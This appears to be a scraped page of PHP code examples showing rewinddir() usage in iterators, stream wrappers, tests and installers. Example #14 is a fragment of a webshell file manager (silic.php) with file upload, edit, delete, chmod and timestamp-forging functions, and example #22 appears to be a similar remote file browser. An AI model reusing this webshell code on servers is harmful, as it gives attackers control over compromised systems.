示例#1
0
 function cursorGroup($id_group, $position = null, $reference = null)
 {
     if (!isset(SerialFiles_Connector::$psc[$id_group])) {
         return false;
     }
     if ($position === null) {
         $position = 0;
     }
     switch ($position) {
         case SerialFiles_Connector::GROUP_START:
             if ($position < 0) {
                 $position = 0;
             }
             rewinddir($hd);
             while (($file = readdir($hd)) !== false) {
                 $position--;
             }
             break;
         case SerialFiles_Connector::GROUP_END:
             if ($position > 0) {
                 $position = 0;
             }
             break;
         case SerialFiles_Connector::GROUP_ACTUAL:
         default:
             if ($cursor = 0) {
             }
     }
 }
示例#2
0
 /**
  * Rewind the Iterator
  *
  * Rewinds the Iterator to the first element and returns its value
  *
  * Method for the {@link Iterator} interface implementation
  *
  * @uses AeDirectory_Iterator::current() to return the value of the element
  *
  * @return AeObject_File first element or null, if array is empty
  */
 public function rewind()
 {
     $dh = $this->_directory->getHandle();
     @rewinddir($dh);
     $this->_readNext();
     return $this->current();
 }
示例#3
0
function x()
{
    $uncheckedDir = opendir('.');
    readdir($uncheckedDir);
    $uncheckedDir2 = opendir('.');
    closedir($uncheckedDir2);
    $uncheckedDir3 = opendir('.');
    rewinddir($uncheckedDir3);
    $uncheckedDir = opendir('.');
    readdir(opendir('uncheckedDir4'));
    readdir2(opendir('uncheckedDir5'));
    readdir(opendir2('uncheckedDir6'));
    $uncheckedDir7 = opendir('asdfasdf');
    while ($f = readdir($uncheckedDir7)) {
        print "{$f}\n";
    }
    $checkedDir1 = opendir('.');
    if (!is_resource($checkedDir1)) {
    }
    rewinddir($checkedDir1);
    $checkedDir2 = opendir('.');
    if (!$checkedDir2) {
    }
    rewinddir($checkedDir2);
    // wrong for the comparison!
    if ($checkedDir3 = opendir('.')) {
        readdir($checkedDir3);
    }
    $checkedDir4 = opendir('.');
    while (false !== ($r = readdir($checkedDir4))) {
    }
    //Structures/UncheckedResources
}
示例#4
0
 /**
  * @group rewinddir
  * @group directoryfunc
  */
 function testRewindUnreadDir()
 {
     $this->put('/t/a', 'abc');
     $this->put('/t/b', 'abc');
     $dh = opendir("{$this->basePath}/t");
     rewinddir($dh);
     $this->assertNotFalse(readdir($dh));
     $this->assertNotFalse(readdir($dh));
 }
 protected function basicTest($fileList, $dh)
 {
     $result = array();
     while (($file = readdir($dh)) !== false) {
         $result[] = $file;
     }
     $this->assertEquals($fileList, $result);
     rewinddir($dh);
     if (count($fileList)) {
         $this->assertEquals($fileList[0], readdir($dh));
     } else {
         $this->assertFalse(readdir($dh));
     }
 }
示例#6
0
 /** @return void */
 public function rewind()
 {
     if (null === $this->handle) {
         if (!is_resource($handle = opendir($this->base->asFolder()->getURI()))) {
             $e = new IOException('Cannot open folder ' . $this->base);
             \xp::gc(__FILE__);
             throw $e;
         }
         $this->handle = $handle;
     } else {
         rewinddir($this->handle);
     }
     $this->next();
 }
示例#7
0
 protected static function wrapSource($source, $context, $protocol, $class)
 {
     try {
         stream_wrapper_register($protocol, $class);
         if (@rewinddir($source) === false) {
             $wrapped = fopen($protocol . '://', 'r+', false, $context);
         } else {
             $wrapped = opendir($protocol . '://', $context);
         }
     } catch (\BadMethodCallException $e) {
         stream_wrapper_unregister($protocol);
         throw $e;
     }
     stream_wrapper_unregister($protocol);
     return $wrapped;
 }
 public function read()
 {
     $c = new SeleniumConfig(INI_FILE);
     $dh = opendir($c->testsPath);
     rewinddir($dh);
     $classes = array();
     while ($fileName = readdir($dh)) {
         $regs = array();
         if (ereg('^[0-9]+_(.*)\\.php$', $fileName, $regs)) {
             $class = array();
             $class['file_name'] = $fileName;
             $class['name'] = $regs[1];
             $classes[] = $class;
         }
     }
     closedir($dh);
     return $classes;
 }
示例#9
0
 /** Iterate over all entries */
 public function getIterator() : \Traversable
 {
     if (null === $this->handle) {
         if (!is_resource($handle = opendir($this->base->asFolder()->getURI()))) {
             $e = new IOException('Cannot open folder ' . $this->base);
             \xp::gc(__FILE__);
             throw $e;
         }
         $this->handle = $handle;
     } else {
         rewinddir($this->handle);
     }
     while (false !== ($entry = readdir($this->handle))) {
         if ('.' === $entry || '..' === $entry) {
             continue;
         }
         (yield $entry => new Path($this->base, $entry));
     }
 }
示例#10
0
 /**
  * {@inheritdoc}
  */
 public function rewind()
 {
     if ($this->handle === null) {
         $this->handle = opendir($this->path);
     } else {
         rewinddir($this->handle);
     }
     $this->next();
 }
 public function rewind()
 {
     rewinddir($this->handle);
 }
示例#12
0
 protected function cleanDir($path, $only_expired = true)
 {
     if (!is_dir($path)) {
         //bad data.
         return false;
     }
     //We use a relative path, for safety. Don't want to do ramping around deleting stuff we shouldn't.
     if (strpos($path, '..') !== false or substr($path, 0, 4) != substr($this->cacheLocation, 0, 4)) {
         //too dangerous. Goodbye.
         return false;
     }
     $directory = opendir($path);
     rewinddir($directory);
     $dirs = array();
     while (($file = readdir($directory)) !== false) {
         if (!in_array($file, array('.', '..', 'index.html', 'datastore', 'datastore_cache.php'))) {
             if (is_dir($path . $file)) {
                 $dirs[] = $path . $file . '/';
             } else {
                 if (substr($file, -4) == '.dat') {
                     $this->clearOneCache($path . $file, false, $only_expired);
                 }
             }
         }
         //At this point you might notice we don't delete orphan .del files. That's because they are harmless
     }
     closedir($directory);
     foreach ($dirs as $dir) {
         $this->cleanDir($dir, $only_expired);
     }
     return true;
 }
 /**
  * Rewind directory handle.
  *
  * This method is called in response to rewinddir().
  *
  * Should reset the output generated by dir_readdir(). I.e.: The next call
  * to dir_readdir() should return the first entry in the location returned
  * by dir_opendir().
  *
  * @return boolean always TRUE
  */
 public function rewindDirectory()
 {
     rewinddir($this->handle);
     return true;
 }
示例#14
0
文件: silic.php 项目: evil7/webshell
function File_a($p)
{
    if (!$_SERVER['SERVER_NAME']) {
        $GETURL = '';
    } else {
        $GETURL = 'http://' . $_SERVER['SERVER_NAME'] . '/';
    }
    $MSG_BOX = '�ȴ���Ϣ����';
    $UP_DIR = urlencode(File_Str($p . '/..'));
    $REAL_DIR = File_Str(realpath($p));
    $FILE_DIR = File_Str(dirname(__FILE__));
    $ROOT_DIR = File_Mode();
    $THIS_DIR = urlencode(File_Str($REAL_DIR));
    $NUM_D = 0;
    $NUM_F = 0;
    if (!empty($_POST['pfn'])) {
        $intime = @strtotime($_POST['mtime']);
        $MSG_BOX = File_Write($_POST['pfn'], $_POST['pfc'], 'wb') ? '�༭�ļ� ' . $_POST['pfn'] . ' �ɹ�' : '�༭�ļ� ' . $_POST['pfn'] . ' ʧ��';
        @touch($_POST['pfn'], $intime);
    }
    if (!empty($_FILES['ufp']['name'])) {
        if ($_POST['ufn'] != '') {
            $upfilename = $_POST['ufn'];
        } else {
            $upfilename = $_FILES['ufp']['name'];
        }
        $MSG_BOX = File_Up($_FILES['ufp']['tmp_name'], File_Str($REAL_DIR . '/' . $upfilename)) ? '�ϴ��ļ� ' . $upfilename . ' �ɹ�' : '�ϴ��ļ� ' . $upfilename . ' ʧ��';
    }
    if (!empty($_POST['actall'])) {
        $MSG_BOX = File_Act($_POST['files'], $_POST['actall'], $_POST['inver']);
    }
    if (isset($_GET['md'])) {
        $modfile = File_Str($REAL_DIR . '/' . $_GET['mk']);
        if (!eregi("^[0-7]{4}\$", $_GET['md'])) {
            $MSG_BOX = '����ֵ����';
        } else {
            $MSG_BOX = @chmod($modfile, base_convert($_GET['md'], 8, 10)) ? '�޸� ' . $modfile . ' ����Ϊ ' . $_GET['md'] . ' �ɹ�' : '�޸� ' . $modfile . ' ����Ϊ ' . $_GET['md'] . ' ʧ��';
        }
    }
    if (isset($_GET['mn'])) {
        $MSG_BOX = @rename(File_Str($REAL_DIR . '/' . $_GET['mn']), File_Str($REAL_DIR . '/' . $_GET['rn'])) ? '���� ' . $_GET['mn'] . ' Ϊ ' . $_GET['rn'] . ' �ɹ�' : '���� ' . $_GET['mn'] . ' Ϊ ' . $_GET['rn'] . ' ʧ��';
    }
    if (isset($_GET['dn'])) {
        $MSG_BOX = @mkdir(File_Str($REAL_DIR . '/' . $_GET['dn']), 0777) ? '����Ŀ¼ ' . $_GET['dn'] . ' �ɹ�' : '����Ŀ¼ ' . $_GET['dn'] . ' ʧ��';
    }
    if (isset($_GET['dd'])) {
        $MSG_BOX = File_Deltree($_GET['dd']) ? 'ɾ��Ŀ¼ ' . $_GET['dd'] . ' �ɹ�' : 'ɾ��Ŀ¼ ' . $_GET['dd'] . ' ʧ��';
    }
    if (isset($_GET['df'])) {
        if (!File_Down($_GET['df'])) {
            $MSG_BOX = '�����ļ�������';
        }
    }
    Root_CSS();
    print <<<END
<script type="text/javascript">
\tfunction Inputok(msg,gourl)
\t{
\t\tsmsg = "��ǰ�ļ�:[" + msg + "]";
\t\tre = prompt(smsg,unescape(msg));
\t\tif(re)
\t\t{
\t\t\tvar url = gourl + escape(re);
\t\t\twindow.location = url;
\t\t}
\t}
\tfunction Delok(msg,gourl)
\t{
\t\tsmsg = "ȷ��Ҫɾ��[" + unescape(msg) + "]��?";
\t\tif(confirm(smsg))
\t\t{
\t\t\tif(gourl == 'b')
\t\t\t{
\t\t\t\tdocument.getElementById('actall').value = escape(gourl);
\t\t\t\tdocument.getElementById('fileall').submit();
\t\t\t}
\t\t\telse window.location = gourl;
\t\t}
\t}
\tfunction CheckDate(msg,gourl)
\t{
\t\tsmsg = "��ǰ�ļ�ʱ��:[" + msg + "]";
\t\tre = prompt(smsg,msg);
\t\tif(re)
\t\t{
\t\t\tvar url = gourl + re;
\t\t\tvar reg = /^(\\d{1,4})(-|\\/)(\\d{1,2})\\2(\\d{1,2}) (\\d{1,2}):(\\d{1,2}):(\\d{1,2})\$/;
\t\t\tvar r = re.match(reg);
\t\t\tif(r==null){alert('���ڸ�ʽ����ȷ!��ʽ:yyyy-mm-dd hh:mm:ss');return false;}
\t\t\telse{document.getElementById('actall').value = gourl; document.getElementById('inver').value = re; document.getElementById('fileall').submit();}
\t\t}
\t}
\tfunction CheckAll(form)
\t{
\t\tfor(var i=0;i<form.elements.length;i++)
\t\t{
\t\t\tvar e = form.elements[i];
\t\t\tif (e.name != 'chkall')
\t\t\te.checked = form.chkall.checked;
\t\t}
\t}
\tfunction SubmitUrl(msg,txt,actid)
\t{
\t\tre = prompt(msg,unescape(txt));
\t\tif(re)
\t\t{
\t\t\tdocument.getElementById('actall').value = actid;
\t\t\tdocument.getElementById('inver').value = escape(re);
\t\t\tdocument.getElementById('fileall').submit();
\t\t}
\t}
</script>
<div id="msgbox" class="msgbox">{$MSG_BOX}</div>
<div class="actall" style="text-align:center;padding:3px;">
<form method="GET"><input type="hidden" id="s" name="s" value="a">
<input type="text" name="p" value="{$REAL_DIR}" style="width:550px;height:22px;">
<select onchange="location.href='?s=a&p='+options[selectedIndex].value">
\t<option>---����Ŀ¼---</option>
\t<option value="{$ROOT_DIR}">��վ��Ŀ¼</option>
\t<option value="{$FILE_DIR}">������Ŀ¼</option>
\t<option value="C:/">C��</option>
\t<option value="D:/">D��</option>
\t<option value="E:/">E��</option>
\t<option value="F:/">F��</option>
\t<option value="C:/Documents and Settings/All Users/����ʼ���˵�/����/����">������</option>
\t<option value="C:/Documents and Settings/All Users/Start Menu/Programs/Startup">������(Ӣ)</option>
\t<option value="C:/RECYCLER">����վ</option>
\t<option value="C:/Program Files">Programs</option>
\t<option value="/etc">etc</option>
\t<option value="/home">home</option>
\t<option value="/usr/local">Local</option>
\t<option value="/tmp">Temp</option>
</select><input type="submit" value="ת��" style="width:50px;"></form>
<div style="margin-top:3px;"></div>
<form method="POST" action="?s=a&p={$THIS_DIR}" enctype="multipart/form-data">
\t<input type="button" value="�½��ļ�" onclick="Inputok('newfile.php','?s=p&fp={$THIS_DIR}&fn=');">
\t<input type="button" value="�½�Ŀ¼" onclick="Inputok('newdir','?s=a&p={$THIS_DIR}&dn=');">
\t<input type="button" value="�����ϴ�" onclick="window.location='?s=q&p={$REAL_DIR}';">
\t<input type="file" name="ufp" style="width:300px;height:22px;">
\t<input type="text" name="ufn" style="width:121px;height:22px;">
\t<input type="submit" value="�ϴ�" style="width:50px;">
</form></div>
<form method="POST" name="fileall" id="fileall" action="?s=a&p={$THIS_DIR}">
<table border="0"><tr><td class="toptd" style="width:450px;"> <a href="?s=a&p={$UP_DIR}"><b>�ϼ�Ŀ¼</b></a></td>
<td class="toptd" style="width:80px;"> ���� </td><td class="toptd" style="width:48px;"> ���� </td><td class="toptd" style="width:173px;"> �޸�ʱ�� </td><td class="toptd" style="width:75px;"> ��С </td></tr>
END;
    if (($h_d = @opendir($p)) == NULL) {
        return false;
    }
    while (false !== ($Filename = @readdir($h_d))) {
        if ($Filename == '.' or $Filename == '..') {
            continue;
        }
        $Filepath = File_Str($REAL_DIR . '/' . $Filename);
        if (is_dir($Filepath)) {
            $Fileperm = substr(base_convert(@fileperms($Filepath), 10, 8), -4);
            $Filetime = @date('Y-m-d H:i:s', @filemtime($Filepath));
            $Filepath = urlencode($Filepath);
            echo "\r\n" . ' <tr><td> <a href="?s=a&p=' . $Filepath . '"><font face="wingdings" size="3">0</font><b> ' . $Filename . ' </b></a> </td> ';
            $Filename = urlencode($Filename);
            echo ' <td> <a href="#" onclick="Delok(\'' . $Filename . '\',\'?s=a&p=' . $THIS_DIR . '&dd=' . $Filename . '\');return false;"> ɾ�� </a> ';
            echo ' <a href="#" onclick="Inputok(\'' . $Filename . '\',\'?s=a&p=' . $THIS_DIR . '&mn=' . $Filename . '&rn=\');return false;"> ���� </a> </td> ';
            echo ' <td> <a href="#" onclick="Inputok(\'' . $Fileperm . '\',\'?s=a&p=' . $THIS_DIR . '&mk=' . $Filename . '&md=\');return false;"> ' . $Fileperm . ' </a> </td> ';
            echo ' <td>' . $Filetime . '</td> ';
            echo ' <td> </td> </tr>' . "\r\n";
            $NUM_D++;
        }
    }
    @rewinddir($h_d);
    while (false !== ($Filename = @readdir($h_d))) {
        if ($Filename == '.' or $Filename == '..') {
            continue;
        }
        $Filepath = File_Str($REAL_DIR . '/' . $Filename);
        if (!is_dir($Filepath)) {
            $Fileurls = str_replace(File_Str($ROOT_DIR . '/'), $GETURL, $Filepath);
            $Fileperm = substr(base_convert(@fileperms($Filepath), 10, 8), -4);
            $Filetime = @date('Y-m-d H:i:s', @filemtime($Filepath));
            $Filesize = File_Size(@filesize($Filepath));
            if ($Filepath == File_Str(__FILE__)) {
                $fname = '<font color="#8B0000">' . $Filename . '</font>';
            } else {
                $fname = $Filename;
            }
            echo "\r\n" . ' <tr><td> <input type="checkbox" name="files[]" value="' . urlencode($Filepath) . '"><a target="_blank" href="' . $Fileurls . '">' . $fname . '</a> </td>';
            $Filepath = urlencode($Filepath);
            $Filename = urlencode($Filename);
            echo ' <td> <a href="?s=p&fp=' . $THIS_DIR . '&fn=' . $Filename . '"> �༭ </a> ';
            echo ' <a href="#" onclick="Inputok(\'' . $Filename . '\',\'?s=a&p=' . $THIS_DIR . '&mn=' . $Filename . '&rn=\');return false;"> ���� </a> </td>';
            echo ' <td>' . $Fileperm . '</td> ';
            echo ' <td>' . $Filetime . '</td> ';
            echo ' <td align="right"> <a href="?s=a&df=' . $Filepath . '">' . $Filesize . '</a> </td></tr> ' . "\r\n";
            $NUM_F++;
        }
    }
    @closedir($h_d);
    if (!$Filetime) {
        $Filetime = '2009-01-01 00:00:00';
    }
    print <<<END
</table>
<div class="actall"> <input type="hidden" id="actall" name="actall" value="undefined">
<input type="hidden" id="inver" name="inver" value="undefined">
<input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form);">
<input type="button" value="����" onclick="SubmitUrl('������ѡ�ļ���·��: ','{$THIS_DIR}','a');return false;">
<input type="button" value="ɾ��" onclick="Delok('��ѡ�ļ�','b');return false;">
<input type="button" value="����" onclick="SubmitUrl('�޸���ѡ�ļ�����ֵΪ: ','0666','c');return false;">
<input type="button" value="ʱ��" onclick="CheckDate('{$Filetime}','d');return false;">
<input type="button" value="����" onclick="SubmitUrl('������������ѡ�ļ�������Ϊ: ','silic.gz','e');return false;">
Ŀ¼({$NUM_D}) / �ļ�({$NUM_F})</div> </form>
END;
    return true;
}
<?php

// Se define el salto de línea
define("salto", "<br>\n");
// Se "abre" el directorio principal de la partición.
$manejador = opendir("C:/");
echo "Contenido del directorio principal:" . salto;
/* Se "rebobina" el directorio para asegurarnos de posicionarnos al principio. */
rewinddir($manejador);
// Mientras haya elementos (directorios o ficheros) para leer.
while ($contenido = readdir($manejador)) {
    echo $contenido . salto;
}
// Se cierra el directorio closedir($manejador);
示例#16
0
/*
 * Pass different data types as $dir_handle argument to rewinddir() to test behaviour
 */
echo "*** Testing rewinddir() : usage variations ***\n";
//get an unset variable
$unset_var = 10;
unset($unset_var);
// get a class
class classA
{
    public function __toString()
    {
        return "Class A object";
    }
}
// heredoc string
$heredoc = <<<EOT
hello world
EOT;
// unexpected values to be passed to $dir_handle argument
$inputs = array(0, 1, 12345, -2345, 10.5, -10.5, 123456789000.0, 1.23456789E-9, 0.5, NULL, null, true, false, TRUE, FALSE, "", '', array(), "string", 'string', $heredoc, new classA(), @$undefined_var, @$unset_var);
// loop through each element of $inputs to check the behavior of rewinddir()
$iterator = 1;
foreach ($inputs as $input) {
    echo "\n-- Iteration {$iterator} --\n";
    var_dump(rewinddir($input));
    $iterator++;
}
?>
===DONE===
示例#17
0
 /**
  * Create tables and keys required by module.
  * Files module.sql and module.key.sql with create table and create keys
  * commands must be stored in directory reldir='/module/sql/'
  * This function is called by this->init
  *
  * @param   string  $reldir Relative directory where to scan files
  * @return  int             <=0 if KO, >0 if OK
  */
 function _load_tables($reldir)
 {
     global $conf;
     $error = 0;
     $dirfound = 0;
     if (empty($reldir)) {
         return 1;
     }
     include_once DOL_DOCUMENT_ROOT . '/core/lib/admin.lib.php';
     $ok = 1;
     foreach ($conf->file->dol_document_root as $dirroot) {
         if ($ok) {
             $dir = $dirroot . $reldir;
             $ok = 0;
             $handle = @opendir($dir);
             // Dir may not exists
             if (is_resource($handle)) {
                 $dirfound++;
                 // Run llx_mytable.sql files, then llx_mytable_*.sql
                 $files = array();
                 while (($file = readdir($handle)) !== false) {
                     $files[] = $file;
                 }
                 sort($files);
                 foreach ($files as $file) {
                     if (preg_match('/\\.sql$/i', $file) && !preg_match('/\\.key\\.sql$/i', $file) && substr($file, 0, 4) == 'llx_' && substr($file, 0, 4) != 'data') {
                         $result = run_sql($dir . $file, 1, '', 1);
                         if ($result <= 0) {
                             $error++;
                         }
                     }
                 }
                 rewinddir($handle);
                 // Run llx_mytable.key.sql files (Must be done after llx_mytable.sql) then then llx_mytable_*.key.sql
                 $files = array();
                 while (($file = readdir($handle)) !== false) {
                     $files[] = $file;
                 }
                 sort($files);
                 foreach ($files as $file) {
                     if (preg_match('/\\.key\\.sql$/i', $file) && substr($file, 0, 4) == 'llx_' && substr($file, 0, 4) != 'data') {
                         $result = run_sql($dir . $file, 1, '', 1);
                         if ($result <= 0) {
                             $error++;
                         }
                     }
                 }
                 rewinddir($handle);
                 // Run data_xxx.sql files (Must be done after llx_mytable.key.sql)
                 $files = array();
                 while (($file = readdir($handle)) !== false) {
                     $files[] = $file;
                 }
                 sort($files);
                 foreach ($files as $file) {
                     if (preg_match('/\\.sql$/i', $file) && !preg_match('/\\.key\\.sql$/i', $file) && substr($file, 0, 4) == 'data') {
                         $result = run_sql($dir . $file, 1, '', 1);
                         if ($result <= 0) {
                             $error++;
                         }
                     }
                 }
                 rewinddir($handle);
                 // Run update_xxx.sql files
                 $files = array();
                 while (($file = readdir($handle)) !== false) {
                     $files[] = $file;
                 }
                 sort($files);
                 foreach ($files as $file) {
                     if (preg_match('/\\.sql$/i', $file) && !preg_match('/\\.key\\.sql$/i', $file) && substr($file, 0, 6) == 'update') {
                         $result = run_sql($dir . $file, 1, '', 1);
                         if ($result <= 0) {
                             $error++;
                         }
                     }
                 }
                 closedir($handle);
             }
             if ($error == 0) {
                 $ok = 1;
             }
         }
     }
     if (!$dirfound) {
         dol_syslog("A module ask to load sql files into " . $reldir . " but this directory was not found.", LOG_WARNING);
     }
     return $ok;
 }
 public function rewind()
 {
     $this->key = 0;
     rewinddir($this->dirHandle);
 }
 public function dir_rewinddir()
 {
     if ($this->dH == -1) {
         self::$currentListingIndex = 0;
     } else {
         return rewinddir($this->dH);
     }
 }
示例#20
0
<?php

/* Prototype  : void rewinddir([resource $dir_handle])
 * Description: Rewind dir_handle back to the start 
 * Source code: ext/standard/dir.c
 * Alias to functions: rewind
 */
/*
 * Pass incorrect number of arguments to rewinddir() to test behaviour
 */
echo "*** Testing rewinddir() : error conditions ***\n";
//Test rewinddir with one more than the expected number of arguments
echo "\n-- Testing rewinddir() function with more than expected no. of arguments --\n";
$dir_path = dirname(__FILE__) . "/rewinddir_error";
mkdir($dir_path);
$dir_handle = opendir($dir_path);
$extra_arg = 10;
var_dump(rewinddir($dir_handle, $extra_arg));
closedir($dir_handle);
?>
===DONE===
<?php 
error_reporting(0);
$dir_path = dirname(__FILE__) . "/rewinddir_error";
rmdir($dir_path);
示例#21
0
<?php

/* Prototype  : void rewinddir([resource $dir_handle])
 * Description: Rewind dir_handle back to the start 
 * Source code: ext/standard/dir.c
 * Alias to functions: rewind
 */
/*
 * Pass a file pointer to rewinddir() to test behaviour
 */
echo "*** Testing rewinddir() : usage variations ***\n";
echo "\n-- Open a file using fopen --\n";
var_dump($fp = fopen(__FILE__, 'r'));
$result1 = fread($fp, 5);
var_dump(rewinddir($fp));
$result2 = fread($fp, 5);
echo "\n-- Check if rewinddir() has repositioned the file pointer --\n";
if ($result1 === $result2) {
    echo "rewinddir() works on file pointers\n";
} else {
    echo "rewinddir() does not work on file pointers\n";
}
?>
===DONE===
示例#22
0
 //el espacio libre y total en el hd
 $espacio = '<div class="center" style="font-weight:bold;">' . decodeSize(disk_free_space($ruta)) . ' / ' . decodeSize(disk_total_space($ruta)) . '</div>';
 //mostramos el formulario para cambiar de directorio
 echo '
 <form action="' . $rfiurl . 'w=archivos" method="POST">
     <input style="width:85%;float:left;" type="text" name="ruta" value="' . htmlentities($ruta, ENT_QUOTES, 'UTF-8') . '">
     <input type="submit" value="Ir" style="width:10%;float:right;">
 </form><br><br>' . $espacio . '<br>
 <table>';
 if (!chdir($ruta)) {
     echo '<div class="n" style="font-size:150%;">Ruta inv&aacute;lida</div>';
 } else {
     $ruta = getcwd();
     //leemos los directorios
     $handledirectorios = opendir($ruta);
     rewinddir($handledirectorios);
     while (false !== ($archivos[] = readdir($handledirectorios))) {
     }
     //WTF? me gustaria saber por que lo hago asi
     //lo ordenamos alfabeticamente
     sort($archivos, SORT_STRING);
     unset($archivos[0]);
     //las tres primeras filas
     echo '<tr><td class="ac"><img src="' . $rfiurl . 'w=img&imagen=archivonuevo" class="ai" alt="Archivo nuevo"></td><form action="' . $rfiurl . 'w=subir" method="post" enctype="multipart/form-data">
     <td style="text-align:left;font-size:0px;" colspan="4"><input name="ruta" type="hidden" value="' . htmlentities($ruta, ENT_QUOTES, 'UTF-8') . '/">
     <input name="ruta2" type="file" style="width:100%;"></td> <td><input type="submit" value="Crear archivo" style="width:100%"></td></form></tr>
     <tr><td class="ac"><img src="' . $rfiurl . 'w=img&imagen=archivonuevo" class="ai" alt="Archivo nuevo"></td><form action="' . $rfiurl . 'w=editar" method="POST">
     <td style="text-align:left;font-size:0px;" colspan="4"><input name="ruta" type="hidden" value="' . htmlentities($ruta, ENT_QUOTES, 'UTF-8') . '/"><input name="ruta2" style="width:100%;" value="archivo.txt"></td>
     <td><input type="submit" value="Crear archivo" style="width:100%"></td></form></tr>
     <tr><td class="ac"><img src="' . $rfiurl . 'w=img&imagen=carpetanueva" class="ai" alt="Carpeta nuevo"></td><form action="' . $rfiurl . 'w=nuevacarpeta" method="POST">
     <td style="text-align:left;font-size:0px;" colspan="4"><input name="ruta" type="hidden" value="' . htmlentities($ruta, ENT_QUOTES, 'UTF-8') . '/"><input name="ruta2" style="width:100%;" value="carpeta"></td>
示例#23
0
 /**
  * Rewinds the directory to the beginning.
  *
  * @throws  io.IOException in case an error occurs
  */
 public function rewind()
 {
     if (FALSE === $this->_hdir) {
         throw new IOException('Cannot rewind non-open folder.');
     }
     rewinddir($this->_hdir->handle);
 }
示例#24
0
    echo "</div>";
    return;
}
$totalentries = 0;
while ($name = readdir($dir)) {
    if ($name == '.' || $name == '..') {
        continue;
    }
    if (is_dir($themes_dir . $name)) {
        $total_entries++;
    }
    //echo $themes_dir.$name . "<br>";
}
// lalaki: love pwd magrewind ta a2 gibuhat ganina...
// babae: cge a2 irewind kay.. e record nako..
rewinddir($dir);
// get the total directories found..
for ($j = 1; $j <= $total_entries; $j = $j + 9) {
    if ($j == 1) {
        $optvalue = '<option value="test" selected>--- Quick Jump ---</option>';
    }
    $optvalue .= '<option value="template_manager2.php?view_start=' . $j . '">' . $j . ' to ' . ($j + 8) . '</option>';
}
/* we will dislplay 9 templates at a time */
$k = 1;
// loop it until root directory is found..
/* TODO: hidden files, system files 
and executable files MUST be check to prevent system vulnerabilities..prone to hacking? maybe.. */
while ($name = readdir($dir)) {
    if ($name == '.' || $name == '..') {
        continue;
示例#25
0
function testThis2($dir, $id = 0, $hide = false)
{
    global $mod_strings;
    $path = $dir;
    $dh = opendir($dir);
    rewinddir($dh);
    $doHide = $hide ? 'none' : '';
    $out = "<div id='{$id}' style='display:{$doHide};'>";
    $out .= "<table cellpadding='1' cellspacing='0' style='border:0px solid #ccc'>\n";
    while ($file = readdir($dh)) {
        if ($file == '.' || $file == '..' || $file == 'CVS' || $file == '.cvsignore') {
            continue;
        }
        if (is_dir($path . '/' . $file)) {
            $file = $path . '/' . $file;
            $newI = create_guid();
            $out .= "<tr><td valign='top'><a href='javascript:toggleNwFiles(\"{$newI}\");'>" . SugarThemeRegistry::current()->getImage("Workflow", "", null, null, ".gif", $mod_strings['LBL_WORKFLOW']) . "</a></td>\n";
            $out .= "<td valign='top'><b><a href='javascript:toggleNwFiles(\"{$newI}\");'>" . basename($file) . "</a></b></td></tr>";
            $out .= "<tr><td></td><td valign='top'>" . testThis2($file, $newI, true) . "</td></tr>";
        } else {
            $out .= "<tr><td valign='top'>&nbsp;</td>\n";
            $out .= "<td valign='top'>" . basename($file) . "</td></tr>";
        }
    }
    $out .= "</tr></table>";
    $out .= "</div>";
    closedir($dh);
    return $out;
}
 /**
  * Support for rewinddir().
  *
  * @return bool
  *   TRUE on success.
  *
  * @see http://php.net/manual/streamwrapper.dir-rewinddir.php
  */
 public function dir_rewinddir()
 {
     rewinddir($this->handle);
     // We do not really have a way to signal a failure as rewinddir() does not
     // have a return value and there is no way to read a directory handler
     // without advancing to the next file.
     return TRUE;
 }
示例#27
0
 public function rewind()
 {
     rewinddir($this->d);
     $this->cur = readdir($this->d);
 }
示例#28
0
 public function dir_rewinddir()
 {
     rewinddir($this->fp);
     return true;
 }
示例#29
0
 /**
  * Rewind directory handle.
  *
  * @link http://www.php.net/manual/en/streamwrapper.dir-rewinddir.php
  *
  * @return boolean Returns TRUE on success or FALSE on failure.
  */
 public function dir_rewinddir()
 {
     rewinddir($this->resource);
     return true;
 }
示例#30
0
function macro_UploadedFiles($formatter, $value = "", $options = "")
{
    global $DBInfo;
    $use_preview = $DBInfo->use_preview_uploads ? $DBInfo->use_preview_uploads : 0;
    $preview_width = 64;
    #$use_preview=0;
    $use_admin = 1;
    $use_fileinfo = 1;
    $js_tag = 0;
    $js_script = '';
    $uploader = '';
    // get user id
    if (empty($formatter->preview) && empty($options)) {
        $options = array();
        $options['id'] = $DBInfo->user->id;
    }
    if (isset($DBInfo->members) and !in_array($options['id'], $DBInfo->members)) {
        $use_admin = 0;
    }
    $iconset = 'gnome';
    $icon_dir = $DBInfo->imgs_dir . '/plugin/UploadedFiles/' . $iconset;
    $args = !empty($DBInfo->uploadedfiles_options) ? explode(',', $DBInfo->uploadedfiles_options) : array();
    $nargs = explode(',', $value);
    if (!empty($nargs)) {
        $args = array_merge($args, $nargs);
    }
    $value = '';
    $default_column = 8;
    $col = (!empty($options['col']) and $options['col'] > 0) ? (int) $options['col'] : $default_column;
    if (!empty($formatter->preview)) {
        $js_tag = 1;
        $use_preview = 1;
        $uploader = 'UploadForm';
        $use_admin = 0;
        $use_fileinfo = 0;
        $col = 10000;
    } else {
        if (!empty($options['preview'])) {
            $use_preview = 1;
            $use_admin = 0;
            $use_fileinfo = 0;
        }
    }
    if (!empty($options['tag'])) {
        # javascript tag mode
        $js_tag = 1;
        $use_preview = 1;
        $use_admin = 0;
        $use_fileinfo = 0;
        $col = 10000;
    }
    if ($use_fileinfo) {
        $col = 1;
    }
    $href_attr = '';
    $attr = '';
    if (!empty($DBInfo->use_lightbox) and !$js_tag) {
        $href_attr = ' rel="lightbox[upload]" ';
    }
    $nodir = 0;
    foreach ($args as $arg) {
        $arg = trim($arg);
        if (($p = strpos($arg, '=')) !== false) {
            $k = substr($arg, 0, $p);
            $v = substr($arg, $p + 1);
            if ($k == 'preview') {
                $use_preview = $v;
            } else {
                if ($k == 'nodir') {
                    $nodir = $v;
                } else {
                    if ($k == 'tag') {
                        $js_tag = 1;
                        $use_preview = 1;
                    }
                }
            }
        } else {
            $value = $arg;
        }
    }
    if (!isset($options['nodir'])) {
        $options['nodir'] = $nodir;
    }
    if (!empty($options['page'])) {
        $value = $options['page'];
    }
    // avoid to set the pagename of the "page,name" as "name"
    if ($js_tag) {
        $form = 'editform';
        $js_script = <<<EOS
      <script language="javascript" type="text/javascript">
/*<![CDATA[*/
// based on wikibits.js in the MediaWiki
// small fix to use opener in the dokuwiki.

function insertTags(tagOpen,tagClose,myText,replaced)
{
  var is_ie = document.selection && document.all;
  if (document.{$form}) {
    var txtarea = document.{$form}.savetext;
  } else {

    // some alternate form? take the first one we can find
    var areas = document.getElementsByTagName('textarea');
    if (areas.length > 0) {
        var txtarea = areas[0];
